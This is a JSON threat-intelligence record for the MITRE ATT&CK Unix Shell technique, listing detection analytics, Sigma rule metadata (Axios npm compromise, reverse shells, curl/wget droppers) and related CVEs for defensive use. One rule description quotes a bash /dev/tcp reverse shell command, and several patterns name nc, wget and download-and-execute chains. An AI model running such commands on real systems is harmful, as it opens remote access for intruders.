{"id":"T1059.004","name":"Unix Shell","url":"https://attack.mitre.org/techniques/T1059/004","tactics":["execution"],"platforms":["ESXi","Linux","macOS","Network Devices"],"live":true,"revoked":false,"deprecated":false,"revoked_by":null,"detection_strategies":[{"id":"DET0384","stix_id":"x-mitre-detection-strategy--4a89bf52-7be1-405d-8d02-462e52553bc5","name":"Behavioral Detection of Unix Shell Execution","url":"https://attack.mitre.org/detectionstrategies/DET0384","analytics":[{"id":"AN1081","stix_id":"x-mitre-analytic--c5556dd5-005a-4c11-b028-240fa379d827","name":"Analytic 1081","description":"Detects bash, sh, zsh, or BusyBox shell execution initiated via remote sessions, unauthorized users, or embedded within secondary script interpreters. Focus is on chained behavior: shell > suspicious commands > network discovery or persistence indicators.","url":"https://attack.mitre.org/detectionstrategies/DET0384#AN1081","platforms":["Linux"],"log_source_references":[{"name":"auditd:SYSCALL","channel":"execve","data_component":"DC0032","data_component_name":"Process Creation","log_source_slug":"auditd-syscall"},{"name":"linux:osquery","channel":"socket_events","data_component":"DC0078","data_component_name":"Network Traffic Flow","log_source_slug":"linux-osquery"},{"name":"linux:syslog","channel":"auth.log / secure.log","data_component":"DC0067","data_component_name":"Logon Session Creation","log_source_slug":"linux-syslog"}],"mutable_elements":[{"field":"ExecutableName","description":"Detect variants like /bin/sh, /usr/local/bin/zsh, /bin/busybox sh."},{"field":"UserContext","description":"Shell used by service accounts, root, or rare accounts."},{"field":"ParentProcess","description":"Shell invoked by unexpected parents (e.g., curl, mail, apache2)."},{"field":"TimeWindow","description":"Execution outside maintenance windows or normal activity periods."},{"field":"CommandLinePattern","description":"Flags use of loops, download commands, chaining (|, &&), or reverse shells."}],"live":true,"detection_strategies":["DET0384"],"techniques":["T1059.004"]},{"id":"AN1082","stix_id":"x-mitre-analytic--ebd61e14-852c-403b-8b50-7e15a1c32d05","name":"Analytic 1082","description":"Identifies use of sh/bash/zsh in suspicious context, such as user scripts launched from non-standard apps (e.g., Preview.app), embedded in LaunchDaemons, or executed outside Terminal.app. Looks for misuse in Automator, LaunchAgents, or NSAppleScript-executed shell.","url":"https://attack.mitre.org/detectionstrategies/DET0384#AN1082","platforms":["macOS"],"log_source_references":[{"name":"macos:unifiedlog","channel":"log stream --predicate 'eventMessage contains \"exec\"'","data_component":"DC0032","data_component_name":"Process Creation","log_source_slug":"macos-unifiedlog"},{"name":"macos:osquery","channel":"launchd + process_events","data_component":"DC0064","data_component_name":"Command Execution","log_source_slug":"macos-osquery"},{"name":"macos:syslog","channel":"system.log, asl.log","data_component":"DC0029","data_component_name":"Script Execution","log_source_slug":"macos-syslog"}],"mutable_elements":[{"field":"ScriptLocation","description":"Execution from /Users/Shared, ~/Library/LaunchAgents, /tmp."},{"field":"ParentProcess","description":"Shells spawned from Preview, Safari, or AppleScript."},{"field":"UserRole","description":"Detection thresholds may differ for admin vs standard users."}],"live":true,"detection_strategies":["DET0384"],"techniques":["T1059.004"]},{"id":"AN1083","stix_id":"x-mitre-analytic--52f4a572-0d43-4684-9598-6bc8cf2bffb1","name":"Analytic 1083","description":"Detects BusyBox or Ash shell execution from unauthorized logins or remote connections. Focus is on rare shell invocations from DCUI, SSH sessions, or remote management paths. Also watches for payload droppers or persistence artifacts using shell.","url":"https://attack.mitre.org/detectionstrategies/DET0384#AN1083","platforms":["ESXi"],"log_source_references":[{"name":"esxi:vmkernel","channel":"DCUI shell start, BusyBox activity","data_component":"DC0064","data_component_name":"Command Execution","log_source_slug":"esxi-vmkernel"},{"name":"esxi:auth","channel":"Shell login or escalation","data_component":"DC0067","data_component_name":"Logon Session Creation","log_source_slug":"esxi-auth"}],"mutable_elements":[{"field":"UserContext","description":"Non-root use of shell (or root outside maintenance window)."},{"field":"CommandPattern","description":"Use of ‘nc’, ‘wget’, or dropper-like behavior in shell."},{"field":"ShellPath","description":"Unexpected invocation of BusyBox/ash from mounted ISO or datastore."}],"live":true,"detection_strategies":["DET0384"],"techniques":["T1059.004"]},{"id":"AN1084","stix_id":"x-mitre-analytic--2adf0c92-5d0a-459d-affc-f4abd4d406d0","name":"Analytic 1084","description":"Detects Unix shell usage on network appliances (e.g., routers, firewalls, embedded Linux) through rare console commands, CLI interfaces, or script injection via exposed APIs or SSH.","url":"https://attack.mitre.org/detectionstrategies/DET0384#AN1084","platforms":["Network Devices"],"log_source_references":[{"name":"networkdevice:syslog","channel":"CLI Command Audit","data_component":"DC0064","data_component_name":"Command Execution","log_source_slug":"networkdevice-syslog"},{"name":"NSM:Flow","channel":"remote access","data_component":"DC0082","data_component_name":"Network Connection Creation","log_source_slug":"nsm-flow"}],"mutable_elements":[{"field":"Interface","description":"Flags command line access via remote console (telnet/SSH/API) from non-whitelisted source."},{"field":"CommandString","description":"Monitors rare/privileged shell commands (e.g., enable, tftp, firmware mod)."}],"live":true,"detection_strategies":["DET0384"],"techniques":["T1059.004"]}],"live":true,"version":"1.0","techniques":["T1059.004"]}],"sigma_rules":[{"id":"0a23a62d-c5b3-468b-a072-25064a9a8c87","title":"Axios NPM Compromise Indicators - Linux","author":"Swachchhanda Shrawan Poudel (Nextron Systems)","status":"experimental","level":"high","date":"2026-04-01","modified":null,"description":"Detects the Linux-specific execution chain of the plain-crypto-js malicious npm dependency by Axios NPM package, including payload download via curl and detached execution using nohup and python3.\nOn March 30, 2026, malicious versions (1.14.1, 0.30.4) were published to npm, injecting a dependency (plain-crypto-js@4.2.1) that executed a postinstall script as a cross-platform RAT dropper.\nThe dropper contacted a C2 server, delivered platform-specific payloads, deleted itself, and replaced package.json to evade detection.\n","references":["https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan","https://www.derp.ca/research/axios-npm-supply-chain-rat/","https://www.trendmicro.com/zh_hk/research/26/c/axios-npm-package-compromised.html","https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections","https://www.virustotal.com/gui/file/e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.initial-access","attack.t1195.002","attack.execution","attack.command-and-control","attack.t1059.006","attack.t1059.004","attack.t1105","detection.emerging-threats"],"path":"rules-emerging-threats/2026/Malware/Axios-NPM-Compromise/proc_creation_lnx_axios_npm_compromise_indicators.yml","techniques":["T1195.002","T1059.006","T1059.004","T1105"],"cves":[]},{"id":"11629c4d-0fe6-465b-be62-b39a1c442aad","title":"Potentially Suspicious Long Filename Pattern - Linux","author":"@kostastsale","status":"experimental","level":"low","date":"2025-11-22","modified":null,"description":"Detects the creation of files with unusually long filenames (100 or more characters), which may indicate obfuscation techniques used by malware such as VShell.\nThis is a hunting rule to identify potential threats that use long filenames to evade detection. Keep in mind that on a legitimate system, such long filenames can and are common. Run this detection in the context of threat hunting rather than alerting.\nAdjust the threshold of filename length as needed based on your environment.\n","references":["https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/"],"logsource":{"product":"linux","category":"file_event"},"tags":["attack.execution","attack.stealth","attack.t1059.004","attack.t1027","detection.threat-hunting"],"path":"rules-threat-hunting/linux/file/file_event/file_event_lnx_susp_long_filename_pattern.yml","techniques":["T1059.004","T1027"],"cves":[]},{"id":"1543ae20-cbdf-4ec1-8d12-7664d667a825","title":"Suspicious Commands Linux","author":"Florian Roth (Nextron Systems)","status":"test","level":"medium","date":"2017-12-12","modified":"2022-10-05","description":"Detects relevant commands often related to malware or hacking activity","references":["Internal Research - mostly derived from exploit code including code in MSF"],"logsource":{"product":"linux","service":"auditd"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/auditd/execve/lnx_auditd_susp_cmds.yml","techniques":["T1059.004"],"cves":[]},{"id":"179b3686-6271-4d87-807d-17d843a8af73","title":"Suspicious Filename with Embedded Base64 Commands","author":"@kostastsale","status":"experimental","level":"high","date":"2025-11-22","modified":null,"description":"Detects files with specially crafted filenames that embed Base64-encoded bash payloads designed to execute when processed by shell scripts.\nThese filenames exploit shell interpretation quirks to trigger hidden commands, a technique observed in VShell malware campaigns.\n","references":["https://www.trellix.com/blogs/research/the-silent-fileless-threat-of-vshell/"],"logsource":{"product":"linux","category":"file_event"},"tags":["attack.execution","attack.stealth","attack.t1059.004","attack.t1027"],"path":"rules/linux/file_event/file_event_lnx_susp_filename_with_embedded_base64_command.yml","techniques":["T1059.004","T1027"],"cves":[]},{"id":"1ab3c5ed-5baf-417b-bb6b-78ca33f6c3df","title":"AWS EC2 Startup Shell Script Change","author":"faloker","status":"test","level":"high","date":"2020-02-12","modified":"2022-06-07","description":"Detects changes to the EC2 instance startup script. The shell script will be executed as root/SYSTEM every time the specific instances are booted up.","references":["https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/ec2__startup_shell_script/main.py#L9"],"logsource":{"product":"aws","service":"cloudtrail"},"tags":["attack.execution","attack.t1059.001","attack.t1059.003","attack.t1059.004"],"path":"rules/cloud/aws/cloudtrail/aws_ec2_startup_script_change.yml","techniques":["T1059.001","T1059.003","T1059.004"],"cves":[]},{"id":"2aa1440c-9ae9-4d92-84a7-a9e5f5e31695","title":"Suspicious Activity in Shell Commands","author":"Florian Roth (Nextron Systems)","status":"test","level":"high","date":"2017-08-21","modified":"2021-11-27","description":"Detects suspicious shell commands used in various exploit codes (see references)","references":["https://web.archive.org/web/20170319121015/http://www.threatgeek.com/2017/03/widespread-exploitation-attempts-using-cve-2017-5638.html","https://github.com/rapid7/metasploit-framework/blob/eb6535009f5fdafa954525687f09294918b5398d/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb","http://pastebin.com/FtygZ1cg","https://artkond.com/2017/03/23/pivoting-guide/"],"logsource":{"product":"linux"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/builtin/lnx_shell_susp_commands.yml","techniques":["T1059.004"],"cves":[]},{"id":"41e5c73d-9983-4b69-bd03-e13b67e9623c","title":"Equation Group Indicators","author":"Florian Roth (Nextron Systems)","status":"test","level":"high","date":"2017-04-09","modified":"2021-11-27","description":"Detects suspicious shell commands used in various Equation Group scripts and tools","references":["https://medium.com/@shadowbrokerss/dont-forget-your-base-867d304a94b1"],"logsource":{"product":"linux"},"tags":["attack.execution","attack.g0020","attack.t1059.004"],"path":"rules/linux/builtin/lnx_apt_equationgroup_lnx.yml","techniques":["T1059.004"],"cves":[]},{"id":"738d9bcf-6999-4fdb-b4ac-3033037db8ab","title":"Suspicious Reverse Shell Command Line","author":"Florian Roth (Nextron Systems)","status":"test","level":"high","date":"2019-04-02","modified":"2021-11-27","description":"Detects suspicious shell commands or program code that may be executed or used in command line to establish a reverse shell","references":["https://alamot.github.io/reverse_shells/"],"logsource":{"product":"linux"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/builtin/lnx_shell_susp_rev_shells.yml","techniques":["T1059.004"],"cves":[]},{"id":"83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871","title":"Linux Reverse Shell Indicator","author":"Florian Roth (Nextron Systems)","status":"test","level":"critical","date":"2021-10-16","modified":"2022-12-25","description":"Detects a bash contecting to a remote IP address (often found when actors do something like 'bash -i >& /dev/tcp/10.0.0.1/4242 0>&1')","references":["https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d9921e370b7c668ee8cc42d09b1932c1b98fa9dc/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md"],"logsource":{"product":"linux","category":"network_connection"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/network_connection/net_connection_lnx_back_connect_shell_dev.yml","techniques":["T1059.004"],"cves":[]},{"id":"8ec2c8b4-557a-4121-b87c-5dfb3a602fae","title":"JexBoss Command Sequence","author":"Florian Roth (Nextron Systems)","status":"test","level":"high","date":"2017-08-24","modified":"2025-11-22","description":"Detects suspicious command sequence that JexBoss","references":["https://www.us-cert.gov/ncas/analysis-reports/AR18-312A"],"logsource":{"product":"linux"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/builtin/lnx_susp_jexboss.yml","techniques":["T1059.004"],"cves":[]},{"id":"a09ee860-31b3-4586-8a68-0ebd74ce0e5f","title":"Axios NPM Compromise Indicators - macOS","author":"Swachchhanda Shrawan Poudel (Nextron Systems)","status":"experimental","level":"high","date":"2026-04-01","modified":null,"description":"Detects the macOS-specific execution chain of the plain-crypto-js malicious npm dependency in Axios NPM Package, including AppleScript execution via osascript, payload download, permission modification, execution, and cleanup.\n","references":["https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan","https://www.derp.ca/research/axios-npm-supply-chain-rat/","https://www.trendmicro.com/zh_hk/research/26/c/axios-npm-package-compromised.html","https://www.elastic.co/security-labs/axios-supply-chain-compromise-detections","https://www.virustotal.com/gui/file/e10b1fa84f1d6481625f741b69892780140d4e0e7769e7491e5f4d894c2e0e09"],"logsource":{"product":"macos","category":"process_creation"},"tags":["attack.initial-access","attack.t1195.002","attack.execution","attack.command-and-control","attack.t1059.002","attack.t1059.004","attack.t1105","detection.emerging-threats"],"path":"rules-emerging-threats/2026/Malware/Axios-NPM-Compromise/proc_creation_macos_axios_npm_compromise_indicators.yml","techniques":["T1195.002","T1059.002","T1059.004","T1105"],"cves":[]},{"id":"a2d9e2f3-0f43-4c7a-bcd9-9acfc0d723aa","title":"Suspicious Download and Execute Pattern via Curl/Wget","author":"Aayush Gupta","status":"experimental","level":"high","date":"2025-06-17","modified":null,"description":"Detects suspicious use of command-line tools such as curl or wget to download remote\ncontent - particularly scripts - into temporary directories (e.g., /dev/shm, /tmp), followed by\nimmediate execution, indicating potential malicious activity. This pattern is commonly used\nby malicious scripts, stagers, or downloaders in fileless or multi-stage Linux attacks.\n","references":["https://gtfobins.github.io/gtfobins/wget/","https://gtfobins.github.io/gtfobins/curl/"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.execution","attack.t1059.004","attack.t1203"],"path":"rules/linux/process_creation/proc_creation_lnx_curl_wget_exec_tmp.yml","techniques":["T1059.004","T1203"],"cves":[]},{"id":"bed978f8-7f3a-432b-82c5-9286a9b3031a","title":"Shell Invocation via Env Command - Linux","author":"Li Ling, Andy Parkidomo, Robert Rakowski, Blake Hartstein (Bloomberg L.P.)","status":"test","level":"high","date":"2024-09-02","modified":"2026-01-08","description":"Detects the use of the env command to invoke a shell. This may indicate an attempt to bypass restricted environments, escalate privileges, or execute arbitrary commands.\n","references":["https://gtfobins.github.io/gtfobins/env/#shell","https://www.elastic.co/guide/en/security/current/linux-restricted-shell-breakout-via-linux-binary-s.html"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/process_creation/proc_creation_lnx_env_shell_invocation.yml","techniques":["T1059.004"],"cves":[]},{"id":"e4ffe466-6ff8-48d4-94bd-e32d1a6061e2","title":"Nohup Execution","author":"Christopher Peacock @SecurePeacock, SCYTHE @scythe_io","status":"test","level":"medium","date":"2022-06-06","modified":null,"description":"Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments","references":["https://gtfobins.github.io/gtfobins/nohup/","https://en.wikipedia.org/wiki/Nohup","https://www.computerhope.com/unix/unohup.htm"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/process_creation/proc_creation_lnx_nohup.yml","techniques":["T1059.004"],"cves":[]},{"id":"ea3ecad2-db86-4a89-ad0b-132a10d2db55","title":"Interactive Bash Suspicious Children","author":"Florian Roth (Nextron Systems)","status":"test","level":"medium","date":"2022-03-14","modified":null,"description":"Detects suspicious interactive bash as a parent to rather uncommon child processes","references":["Internal Research"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.execution","attack.stealth","attack.t1059.004","attack.t1036"],"path":"rules/linux/process_creation/proc_creation_lnx_susp_interactive_bash.yml","techniques":["T1059.004","T1036"],"cves":[]},{"id":"ea61bb82-a5e0-42e6-8537-91d29500f1b9","title":"Potential Abuse of Linux Magic System Request Key","author":"Milad Cheraghi","status":"experimental","level":"medium","date":"2025-05-23","modified":null,"description":"Detects the potential abuse of the Linux Magic SysRq (System Request) key by adversaries with root or sufficient privileges\nto silently manipulate or destabilize a system. By writing to /proc/sysrq-trigger, they can crash the system, kill processes,\nor disrupt forensic analysis—all while bypassing standard logging. Though intended for recovery and debugging, SysRq can be\nmisused as a stealthy post-exploitation tool. It is controlled via /proc/sys/kernel/sysrq or permanently through /etc/sysctl.conf.\n","references":["https://www.kernel.org/doc/html/v4.10/_sources/admin-guide/sysrq.txt","https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/4/html/reference_guide/s3-proc-sys-kernel","https://www.splunk.com/en_us/blog/security/threat-update-awfulshred-script-wiper.html"],"logsource":{"product":"linux","service":"auditd"},"tags":["attack.execution","attack.t1059.004","attack.impact","attack.t1529","attack.t1489","attack.t1499"],"path":"rules/linux/auditd/path/lnx_auditd_magic_system_request_key.yml","techniques":["T1059.004","T1529","T1489","T1499"],"cves":[]},{"id":"f0025a69-e1b7-4dda-a53c-db21fa2d4071","title":"Script Interpreter Spawning Credential Scanner - Linux","author":"Swachchhanda Shrawan Poudel (Nextron Systems)","status":"experimental","level":"high","date":"2025-11-25","modified":null,"description":"Detects a script interpreter process (like node.js or bun) spawning a known credential scanning tool (e.g., trufflehog, gitleaks).\nThis behavior is indicative of an attempt to find and steal secrets, as seen in the \"Shai-Hulud: The Second Coming\" campaign.\n","references":["https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js","https://www.stepsecurity.io/blog/sha1-hulud-the-second-coming-zapier-ens-domains-and-other-prominent-npm-packages-compromised","https://www.endorlabs.com/learn/shai-hulud-2-malware-campaign-targets-github-and-cloud-credentials-using-bun-runtime","https://semgrep.dev/blog/2025/digging-for-secrets-sha1-hulud-the-second-coming-of-the-npm-worm/"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.credential-access","attack.t1552","attack.execution","attack.collection","attack.t1005","attack.t1059.004"],"path":"rules/linux/process_creation/proc_creation_lnx_susp_script_interpretor_spawn_credential_scanner.yml","techniques":["T1552","T1005","T1059.004"],"cves":[]},{"id":"f8341cb2-ee25-43fa-a975-d8a5a9714b39","title":"BPFtrace Unsafe Option Usage","author":"Andreas Hunkeler (@Karneades)","status":"test","level":"medium","date":"2022-02-11","modified":null,"description":"Detects the usage of the unsafe bpftrace option","references":["https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/","https://bpftrace.org/"],"logsource":{"product":"linux","category":"process_creation"},"tags":["attack.execution","attack.t1059.004"],"path":"rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml","techniques":["T1059.004"],"cves":[]}],"kev_cves":[{"cveID":"CVE-2025-25257","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2016-10033","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2023-39780","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2024-27443","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2023-44221","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2024-24919","state":"mapped","mapping_types":["secondary_impact"]},{"cveID":"CVE-2021-36380","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2023-46604","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2023-38831","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2022-20700","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2022-20699","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2014-6271","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2014-7169","state":"mapped","mapping_types":["primary_impact"]},{"cveID":"CVE-2019-0708","state":"mapped","mapping_types":["primary_impact"]}],"_built":"2026-08-24 19:45 UTC","_attack_version":"19.2","_sigma_commit":"da9bb07d642a2826e89702445d32c795209ec108"}